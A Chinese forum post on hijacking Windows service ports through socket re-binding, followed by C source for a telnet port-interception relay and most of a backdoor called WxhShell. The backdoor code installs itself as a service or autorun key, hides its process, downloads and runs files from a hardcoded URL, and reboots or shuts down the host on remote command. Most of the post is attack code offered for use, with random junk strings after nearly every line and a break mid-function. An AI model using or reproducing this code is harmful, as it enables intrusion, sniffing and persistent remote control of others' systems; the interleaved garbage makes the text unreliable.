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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: R80|q#h,]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e0#{'_C  
DnN+W  
  saddr.sin_family = AF_INET; "k),;1  
j}8^gz]  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }Fu2%L>  
g7eI;Tpv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QEmktc1 7  
E#kH>q@K`$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TETfRnm  
qzk]9`i1:  
  这意味着什么?意味着可以进行如下的攻击: dO-Zj#%7z8  
c|4_nT 2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [ .3Gb}B  
(8em5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8"u.GL.  
?w)A`G_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i_I`  
jank<Q&w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N0ZD+  
= @FT$GQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u4[JDB7tH  
XW{cC`&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #O'g*]j  
YKx+z[A/p  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \;"S>dg  
aecvz0}@R  
  #include EE qlsH  
  #include 0BOL0<Wq  
  #include 6-nf+!#G  
  #include    frWY8&W^H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $% W.=a'5  
  int main() uLN.b339  
  { 4XeO^#  
  WORD wVersionRequested; |J ^I8gx+  
  DWORD ret; nH[>Sff$  
  WSADATA wsaData; Zj nWbnW  
  BOOL val; Z,F1n/7  
  SOCKADDR_IN saddr; 7[}WvfN8#  
  SOCKADDR_IN scaddr; zaE!=-U  
  int err; o K&G  
  SOCKET s; a$LoQ<f_  
  SOCKET sc; AUl[h&s  
  int caddsize; Q2!RFtXV  
  HANDLE mt; 8JO(P0aT  
  DWORD tid;   n|PW^kOE/  
  wVersionRequested = MAKEWORD( 2, 2 ); 9|9/8a6A  
  err = WSAStartup( wVersionRequested, &wsaData ); YDEb MEMd/  
  if ( err != 0 ) { li~=85 J  
  printf("error!WSAStartup failed!\n"); [,|4%Y  
  return -1; F+V[`w*k  
  } "2I{T  
  saddr.sin_family = AF_INET; CTc#*LJx>j  
   z}p*";)A  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ay=f1<a  
#;'*W$Wk2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ck8Qs08  
  saddr.sin_port = htons(23); 0LP>3"Sm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sWgzHj(c  
  { M!\6Fl{ b  
  printf("error!socket failed!\n"); J!zL)u|  
  return -1; -"xC\R  
  } -}Rh+n`  
  val = TRUE; _%aT3C}k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H]Gj$P=k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hud'@O"R+  
  { @ t8{pb;v  
  printf("error!setsockopt failed!\n"); SN#N$] y5s  
  return -1; Vb~;"WABo  
  } VO*fC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]Vf2Mn=]"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SLud}|f;o  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 77G4E ,]  
Ude)$PAe%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P;e@<O  
  { ?/KkN3Y_j[  
  ret=GetLastError(); H"|oI|~  
  printf("error!bind failed!\n"); "6iq_!#L  
  return -1; A@w9_qo  
  } A2B]E,JMp  
  listen(s,2); w)gMJX/0yw  
  while(1) B5va4@  
  { Q!W+vh  
  caddsize = sizeof(scaddr); _Tma1 ~Gq  
  //接受连接请求 %#7^b=;=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0a)LZp|  
  if(sc!=INVALID_SOCKET) jt&rOPL7  
  { bw[K^/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  ~&_BT`a  
  if(mt==NULL) `I5So-^&z  
  { }4xz,oN  
  printf("Thread Creat Failed!\n"); $ 2k9gO  
  break; B{Lcx~  
  } 97VS xhr  
  } [JVUa2Sm  
  CloseHandle(mt); T- lHlm  
  } >zv}59M  
  closesocket(s); &4Y@-;REt  
  WSACleanup(); [b@9V_  
  return 0; n UD;y}}n  
  }   w;T?m,"  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~ponYc.Y  
  { *lp{,  
  SOCKET ss = (SOCKET)lpParam; PvS\  
  SOCKET sc; `,FvYA"  
  unsigned char buf[4096]; 4i Z7BD  
  SOCKADDR_IN saddr; |_wbxdq  
  long num; `"j_]  
  DWORD val; :FI 4GR*?  
  DWORD ret; X FvPc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5E\&O%W"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ixo?o]Xb`  
  saddr.sin_family = AF_INET; Qx[ nR/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `z`"0;,7S  
  saddr.sin_port = htons(23); ]WC@*3'kye  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) </7?puVR  
  { 0'^zIL#.  
  printf("error!socket failed!\n"); `T$CUlt6  
  return -1; U~{sJwB  
  } y Ide]  
  val = 100; wqf^n-Ze  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q 1e hW  
  { Kj*:G!r0.:  
  ret = GetLastError(); 0p ZX_L'  
  return -1; o2NU~Ub  
  } w]Vd IS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z T#j.v  
  { ngQ]  
  ret = GetLastError(); !4!Y~7sI"\  
  return -1; \Y}nehxG@  
  } nHmi%R7k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) RU GhhK  
  { Ptv=Bwg  
  printf("error!socket connect failed!\n"); 28PT1 9&  
  closesocket(sc); t0gLz J  
  closesocket(ss);  k/}E(_e  
  return -1; POc-`]6 <F  
  } Q:!.YSB  
  while(1) -OV!56&  
  { hKYA5]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JGKiVBN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 rz3!0P!"K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )]C7+{ImC  
  num = recv(ss,buf,4096,0); 66l$}+|Zzc  
  if(num>0) R} aHo0r  
  send(sc,buf,num,0); <hbxerg  
  else if(num==0) MUU9IMFJ  
  break; <xQHb^:  
  num = recv(sc,buf,4096,0); _,;|,  
  if(num>0) 3xGk@ 333  
  send(ss,buf,num,0); `?R~iLIAq  
  else if(num==0) .ahYj n  
  break; ;.P9t`*  
  } ]za1=~[  
  closesocket(ss); AT4G]pT  
  closesocket(sc); `FL!L59nz  
  return 0 ; RtVG6'Y  
  } hZ@Wl6FG;  
Fi^Q]9.@{  
@.Pe.\Z  
========================================================== -Am ~CM  
]MXeWS(  
下边附上一个代码,,WXhSHELL Z6I^HG{:  
~&Gw[Nd1  
========================================================== wx|eO[14  
Q(Dp116  
#include "stdafx.h" L0H kmaH  
{ f@k2^  
#include <stdio.h> s'/ g:aJ  
#include <string.h> jP9)utEm6  
#include <windows.h> [EETx-  
#include <winsock2.h> A12#v,  
#include <winsvc.h> I?mU_^no  
#include <urlmon.h> {]w @s7E  
sA u ;i  
#pragma comment (lib, "Ws2_32.lib") Vg)]F+E  
#pragma comment (lib, "urlmon.lib") RRGCO+)*  
^gpswhp 5  
#define MAX_USER   100 // 最大客户端连接数 *MFsq}\ $  
#define BUF_SOCK   200 // sock buffer hDJ84$eVZ  
#define KEY_BUFF   255 // 输入 buffer E%vG#  
<|'C|J_!  
#define REBOOT     0   // 重启 cR+9^DzA  
#define SHUTDOWN   1   // 关机 45;{tS.z,B  
CYZx/r<  
#define DEF_PORT   5000 // 监听端口 ?=;dNS@i@  
OJL?[<I  
#define REG_LEN     16   // 注册表键长度 Qr4c':8  
#define SVC_LEN     80   // NT服务名长度 Gdd lB2L)x  
{-( B  
// 从dll定义API =gb.%a{R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p Rn vd|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pZ,P_?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C1@6 r%YD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W:^\Oe5&a  
%usy`4 2  
// wxhshell配置信息 a0oM KGW:  
struct WSCFG { mG!Rh  
  int ws_port;         // 监听端口 (bk~,n_  
  char ws_passstr[REG_LEN]; // 口令 TrHz(no  
  int ws_autoins;       // 安装标记, 1=yes 0=no =*aun&  
  char ws_regname[REG_LEN]; // 注册表键名 #lM :BO  
  char ws_svcname[REG_LEN]; // 服务名 >d&_e[j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'W/E*O6BY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h<50jnH!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A7!=`yA$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }l/ !thzC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h4 s!VK1X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZCZYgf@  
mRT`'fxK  
}; R30{/KK  
m 4Vh R_  
// default Wxhshell configuration ]R8}cbtU  
struct WSCFG wscfg={DEF_PORT, ROr..-[u  
    "xuhuanlingzhe", +IiL(\ew  
    1, ~7tG%{t%  
    "Wxhshell", u:Q_XXT5  
    "Wxhshell", 7ZbnG@s7  
            "WxhShell Service", > !thxG/_  
    "Wrsky Windows CmdShell Service", T=|oZ  
    "Please Input Your Password: ", rkdwGqG  
  1, LO,G2]  
  "http://www.wrsky.com/wxhshell.exe", xG05OqKpE  
  "Wxhshell.exe" YY (,H!  
    }; h[SuuW  
M4rOnIJ  
// 消息定义模块 k{3:$, b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6_a42#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hVe@:1og#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d`U{-?N>  
char *msg_ws_ext="\n\rExit.";  xA DjQ%B  
char *msg_ws_end="\n\rQuit."; /h=:heS4$  
char *msg_ws_boot="\n\rReboot..."; V/Q~NX N  
char *msg_ws_poff="\n\rShutdown..."; \lVxlc0{?  
char *msg_ws_down="\n\rSave to "; H1H+TTZr  
* _puW x  
char *msg_ws_err="\n\rErr!"; P%8zxU;  
char *msg_ws_ok="\n\rOK!"; %,-oxeM1u  
^w eU\  
char ExeFile[MAX_PATH]; 3[: |)i)  
int nUser = 0; iEG`+h'  
HANDLE handles[MAX_USER]; RzG<&a3B3s  
int OsIsNt; )6# i>c-  
8'Eu6H&$G  
SERVICE_STATUS       serviceStatus; ZW$PJmz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &<Bx1\ ~V  
0Bx.jx0?  
// 函数声明 )]"aa_20]  
int Install(void); , 4Vr,?"EO  
int Uninstall(void); 6vrMR& #a  
int DownloadFile(char *sURL, SOCKET wsh); Dz4fP;n  
int Boot(int flag); ~ l~ai>/  
void HideProc(void); L3^WI( 8m  
int GetOsVer(void); Fh u(u  
int Wxhshell(SOCKET wsl); t =ErJ  
void TalkWithClient(void *cs); ^PY*INv  
int CmdShell(SOCKET sock); #WD} XOA  
int StartFromService(void); Suixk'-  
int StartWxhshell(LPSTR lpCmdLine); k\UDZ)TQV  
sGjYL>*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +@wa?"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H@$\SUc{  
iX8& mUR  
// 数据结构和表定义 ,}i`1E1=  
SERVICE_TABLE_ENTRY DispatchTable[] = ^zPa^lo-  
{ 85U')LY  
{wscfg.ws_svcname, NTServiceMain}, u%FG% j?C  
{NULL, NULL} &h.E B  
}; ^NB @wuf7  
E\2|  
// 自我安装 )J&1uMp{  
int Install(void) okx~F9  
{ &CCp@" +  
  char svExeFile[MAX_PATH]; (B@:0}>  
  HKEY key; >r] bfN,  
  strcpy(svExeFile,ExeFile); JTw\5j  
-EV_=a8[y  
// 如果是win9x系统,修改注册表设为自启动 _{z.Tu  
if(!OsIsNt) { )BR6?C3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { './j<2|;U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `a}!t=~#w  
  RegCloseKey(key); lg_X|yhL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0*S2_&Q)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @#q>(Ox%  
  RegCloseKey(key); |A".Mo_5  
  return 0; *Z"9QX  
    } W-9^Ncp  
  } .,t"i C:E  
} bq5tEn  
else { H"8fnN=xB  
qy1$(3t$  
// 如果是NT以上系统,安装为系统服务 Fw!CssW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @}:}7R6  
if (schSCManager!=0) ?[>+'6  
{ wykk</eQ.i  
  SC_HANDLE schService = CreateService -=aI!7*"$  
  ( 1?\ #hemL  
  schSCManager, gz6BfHQG  
  wscfg.ws_svcname, G*_$[|H  
  wscfg.ws_svcdisp, ^a~^$PUqI  
  SERVICE_ALL_ACCESS, ~W'>L++  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \^9SuZ  
  SERVICE_AUTO_START, uop|8n1  
  SERVICE_ERROR_NORMAL, A+d&aE }3V  
  svExeFile, _ F&BSu  
  NULL, f6x}M9xS%  
  NULL, ]*a3J45  
  NULL, iOI8'`mk  
  NULL, )En*5-1  
  NULL h~rSM#7m  
  ); ydOJ^Yty  
  if (schService!=0) j,")c'r&dD  
  { .Cfi/  
  CloseServiceHandle(schService); n:cre}0.  
  CloseServiceHandle(schSCManager); $qk2!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2 F3U,}  
  strcat(svExeFile,wscfg.ws_svcname); }ie\-V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zoYw[YP9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sqw^Hwy=!2  
  RegCloseKey(key); 5\Sm^t|Tx  
  return 0; ]9]cef=h#  
    } %dMq'j  
  } 0q`n]NM  
  CloseServiceHandle(schSCManager); .du FMJl  
} 4J3cQ;z  
} X_Vj&{  
Op^r}7  
return 1; $OK}jSH*v)  
} %lsk> V  
^mbpt`@  
// 自我卸载 JAM4 R_  
int Uninstall(void) C FY3D|  
{ 1PLxc)LsG  
  HKEY key; < &[=,R0 @  
?k)(~Y&@p  
if(!OsIsNt) { {R b|";  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2aiZ  
  RegDeleteValue(key,wscfg.ws_regname); $CXKeWS=Q.  
  RegCloseKey(key); uY+N163i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NMYkEz(&R  
  RegDeleteValue(key,wscfg.ws_regname); P+r -t8  
  RegCloseKey(key); N<V,5  
  return 0; 71i".1l{K  
  } t>[K:[0U  
} ~Ti  
} I9GRSm;0<  
else { JR='c)6:  
yM(zc/?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aKdi  
if (schSCManager!=0) |U}al[  
{ .\1{>A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XKqUbi  
  if (schService!=0) o<T_Pjp  
  { c%,~1l  
  if(DeleteService(schService)!=0) { *G)=6\  
  CloseServiceHandle(schService); jFYv4!\ju  
  CloseServiceHandle(schSCManager); %,Fx qw  
  return 0; ][R#Q;y<  
  } NQCJ '%L6  
  CloseServiceHandle(schService); vr#_pu)f4  
  } p-QD(+@M  
  CloseServiceHandle(schSCManager); fyat-wbb  
} K1c@]]y)  
} ghq#-N/t  
s UX%{|T_  
return 1; pq0F!XmU  
} *gHGi(U(U  
.0$$H"t  
// 从指定url下载文件 .<8kDyi m  
int DownloadFile(char *sURL, SOCKET wsh) <=KtRE>$  
{ 5N=QS1<$5  
  HRESULT hr; ?ysC7 ((  
char seps[]= "/"; KrNu7/H  
char *token; NIn#  
char *file;  Qx,jUL#2  
char myURL[MAX_PATH]; Dk&@AjJga  
char myFILE[MAX_PATH]; PS ,@ \  
>*v!2=  
strcpy(myURL,sURL); IN2FO/Y@  
  token=strtok(myURL,seps); ZujPk-  
  while(token!=NULL) P)h e3  
  { C FqteY"  
    file=token; u Ey>7I  
  token=strtok(NULL,seps); 9Tbi_6[  
  } F)x^AJi e  
<0!/7*;#ZT  
GetCurrentDirectory(MAX_PATH,myFILE); ]<\Ft H  
strcat(myFILE, "\\"); 8:V:^`KaSs  
strcat(myFILE, file); 8t3,}}TJ  
  send(wsh,myFILE,strlen(myFILE),0); "0al"?  
send(wsh,"...",3,0); G[7Z5)2B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ph(bgQg  
  if(hr==S_OK) % j4  
return 0; v6B}ov[Y2  
else Qp9)Rc5  
return 1; G-?y;V 1  
E;7vGGf]  
} cTW3\S=  
t)Q6A@$:  
// 系统电源模块 Ra%" +=  
int Boot(int flag) l*;Isz:  
{ V@6,\1#`|  
  HANDLE hToken; P9j[ NEV  
  TOKEN_PRIVILEGES tkp; 8. 9TWsZ  
A1`y_ Aj  
  if(OsIsNt) { =<nx [J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7VWq8FH`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5c*kgj:x  
    tkp.PrivilegeCount = 1; 8I o--Ew3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  [wS~.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  XI+m  
if(flag==REBOOT) { WJ)( *1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E3X6-J|  
  return 0; o5(`7XV6D  
} @SH%l]  
else { x^_(gve:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JVO,@~~  
  return 0; 7`,A]":;  
} 7}+U;0,)  
  } xE+Nz5F  
  else { 1t"  
if(flag==REBOOT) { <[9{Lg*D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o' U::  
  return 0; M~ =Bln5  
} pa1.+~)  
else { ZMs$C3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $2l<X KT-  
  return 0; iQryX(z  
} hrsMAh!  
} _&0_@  
i|zs Li/  
return 1; BJzNh>-#=  
} e))fbv&V  
3 K Y-+ k  
// win9x进程隐藏模块 .<Y7,9;YEF  
void HideProc(void) 1k&**!S]%  
{ qcYF&  
&p>VTD  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~y@,d  
  if ( hKernel != NULL ) yQ5F'.m9e  
  { `Mj>t(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y](kMNUSg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B J,U,!  
    FreeLibrary(hKernel); di^E8egR$  
  } j. 1@{H  
` drds  
return; p$r=jF&  
} ~";GH20  
m0XdIC]s  
// 获取操作系统版本 cuenDw=eC  
int GetOsVer(void) k+8K[ ?K-  
{ ^HpUbZpat)  
  OSVERSIONINFO winfo; xO2e>[W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :by EXe;3  
  GetVersionEx(&winfo); #=~n>qn]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @=@7Uu-  
  return 1; a`]Dmw8@  
  else BEn,py7  
  return 0; yb)!jLnH  
} tqdw y.  
]w2nVC 3  
// 客户端句柄模块 S.,om;`  
int Wxhshell(SOCKET wsl) fQZ,kl  
{ yk1.fxik'  
  SOCKET wsh; AcF6p)@_  
  struct sockaddr_in client; N7/eF9  
  DWORD myID; 1A>>#M=A  
Y", :u@R  
  while(nUser<MAX_USER) E+>$@STv#  
{ |3tq.JU  
  int nSize=sizeof(client); GEJEhwO;H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eBw6k09C+  
  if(wsh==INVALID_SOCKET) return 1; 9 gt$z}oU  
][Ne;F6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lFHj]%Y  
if(handles[nUser]==0) F(j vdq  
  closesocket(wsh); .Sz<%d7XIQ  
else xiv1y4(%  
  nUser++; 2<18j  
  } [ArPoJt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GR@jn]50  
Yv="oG!xL  
  return 0; d9'gH#f?  
} &YAw~1A  
P2lDi!q|  
// 关闭 socket Yo`#G-]  
void CloseIt(SOCKET wsh) lLq9)+HGN  
{ 7m{YWR0  
closesocket(wsh); _0Mt*]L }  
nUser--; ^SdorPOq&  
ExitThread(0); ==$>M d  
} Yh=/?&*  
h/T^+U?-<  
// 客户端请求句柄 2(5HPRQ  
void TalkWithClient(void *cs) #dcfQ  
{ /uXEh61$8  
xW`,@a }  
  SOCKET wsh=(SOCKET)cs; Tnw0S8M  
  char pwd[SVC_LEN]; Xi^#F;@sU  
  char cmd[KEY_BUFF]; y]dA<d?u  
char chr[1]; ^cQTRO|  
int i,j; )vO?d~x|  
|2oCEb1  
  while (nUser < MAX_USER) { x  RV@ _  
_FG?zE  
if(wscfg.ws_passstr) { ^Q)&lxlxpx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <,r(^Ntz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G}MJWf Hl  
  //ZeroMemory(pwd,KEY_BUFF); l$j/Ye]  
      i=0; f$\gm+&hXE  
  while(i<SVC_LEN) { qXI>x6?*  
JqX+vRY;dd  
  // 设置超时 RtE2%d$JT  
  fd_set FdRead; =D1%-ym  
  struct timeval TimeOut; Hchh2  
  FD_ZERO(&FdRead); KW1 7CJ@  
  FD_SET(wsh,&FdRead); U_1syaY!  
  TimeOut.tv_sec=8; "mBX$t'gb  
  TimeOut.tv_usec=0; "YUh4uZ~P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :fxG]uf-P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U9uy (KOW  
o;d><  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #!a}ZhIt  
  pwd=chr[0]; fu}ZOPu  
  if(chr[0]==0xd || chr[0]==0xa) { ^ Tr )gik  
  pwd=0; p3sR>ToJ  
  break; h[%t7qo=  
  } 3%"r%:fQB/  
  i++; bV'^0(Zv  
    } K6C@YY(  
z?9vbx  
  // 如果是非法用户,关闭 socket  BKiyog  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F_Pv\?35z  
} g;|3n&  
_A[k&nO!&J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @zz4,,]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G)vq+L5%  
Y Ib=rR[ $  
while(1) { 3k5C;5  
,-55*Rbi  
  ZeroMemory(cmd,KEY_BUFF); !|SVRaS  
nhbCk6Y5LZ  
      // 自动支持客户端 telnet标准   Stw%OP@?  
  j=0; 0N" VOEvG  
  while(j<KEY_BUFF) { DH3.4EUWS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :P!"'&gCL  
  cmd[j]=chr[0]; 7U:-zfq  
  if(chr[0]==0xa || chr[0]==0xd) { O@[jNs)].  
  cmd[j]=0; F@+FXnz  
  break; $i:wS= w'  
  } 2YU-iipdOq  
  j++; -F7GUB6B  
    } WAzYnl'p  
@Ido6Z7  
  // 下载文件 mJj [f8  
  if(strstr(cmd,"http://")) { =vqy5y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -#9Hb.Q;  
  if(DownloadFile(cmd,wsh)) gj\'1(Ju  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]Wn^m+  
  else n!nXM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k7R8Q~4  
  } N-lo[bDJh  
  else { dKKh^D`~  
Z9TUaMhF  
    switch(cmd[0]) { .Mn+Bd4f  
  eM3-S=R?<g  
  // 帮助 jbDap i<  
  case '?': { qHAZ)Tz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 51,RbADB  
    break; l6YToYzE2  
  } =V)88@W  
  // 安装 BA1|%:.   
  case 'i': { 1$Jria5n  
    if(Install()) FEdWe\E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m!Iax]D{  
    else tA*hh"9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KGVAP  
    break; iyj,0T  
    } F(yx/W>Br_  
  // 卸载 BdK2I!mm  
  case 'r': { xK8n~.T('  
    if(Uninstall()) n$jOk |W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MS_@ Xe  
    else mKsTA;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F5*NK!U  
    break; r87)?-B  
    } W(C\lSE0  
  // 显示 wxhshell 所在路径 *%{  
  case 'p': { {*X8!P7C  
    char svExeFile[MAX_PATH]; T)!$-qdz/  
    strcpy(svExeFile,"\n\r"); 5W T^;J9V  
      strcat(svExeFile,ExeFile); ` |L l  
        send(wsh,svExeFile,strlen(svExeFile),0); 13:yaRo  
    break; +IRr&J*P  
    } /Ir|& <yB  
  // 重启 ,>:   
  case 'b': { BW`)q/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (|{bZW}  
    if(Boot(REBOOT)) P 57{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N33{vx  
    else { L\:f#b~W  
    closesocket(wsh); lzKJy  
    ExitThread(0); I jK  
    } j-?zB .jAh  
    break; %XpYiW#AK  
    } nE~HcxE/  
  // 关机 wFgL\[$^|  
  case 'd': { 8Wa&&YTB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rk1B \L|M  
    if(Boot(SHUTDOWN)) ^m3[mY [a  
